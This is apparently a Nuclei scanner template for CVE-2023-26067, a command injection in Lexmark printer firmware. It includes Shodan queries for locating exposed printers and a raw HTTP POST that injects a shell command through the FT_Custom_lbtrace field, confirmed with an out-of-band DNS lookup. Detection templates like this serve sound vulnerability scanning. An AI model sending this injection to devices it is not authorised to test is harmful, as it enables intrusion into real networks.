Lexmark Printers - Command Injection

id: CVE-2023-26067

info:
  name: Lexmark Printers - Command Injection
  author: DhiyaneshDK
  severity: high
  description: |
    Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by Lexmark to mitigate the command injection vulnerability.
  reference:
    - https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/
    - https://github.com/horizon3ai/CVE-2023-26067
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26067
    - https://publications.lexmark.com/publications/security-alerts/CVE-2023-26067.pdf
    - https://support.lexmark.com/alerts/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-26067
    cwe-id: CWE-20
    epss-score: 0.37835
    epss-percentile: 0.98557
    cpe: cpe:2.3:o:lexmark:cxtpc_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lexmark
    product: cxtpc_firmware
    shodan-query:
      - "Server: Lexmark_Web_Server"
      - "server: lexmark_web_server"
  tags: cve2023,cve,printer,iot,lexmark,vkev,intrusive,vuln
variables:
  cmd: 'nslookup {{interactsh-url}}'

http:
  - raw:
      - |
        POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Length: 49

        FT_Custom_lbtrace=$({{cmd}})

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(body, 'Fax Trace Settings')
          - status_code == 200
        condition: and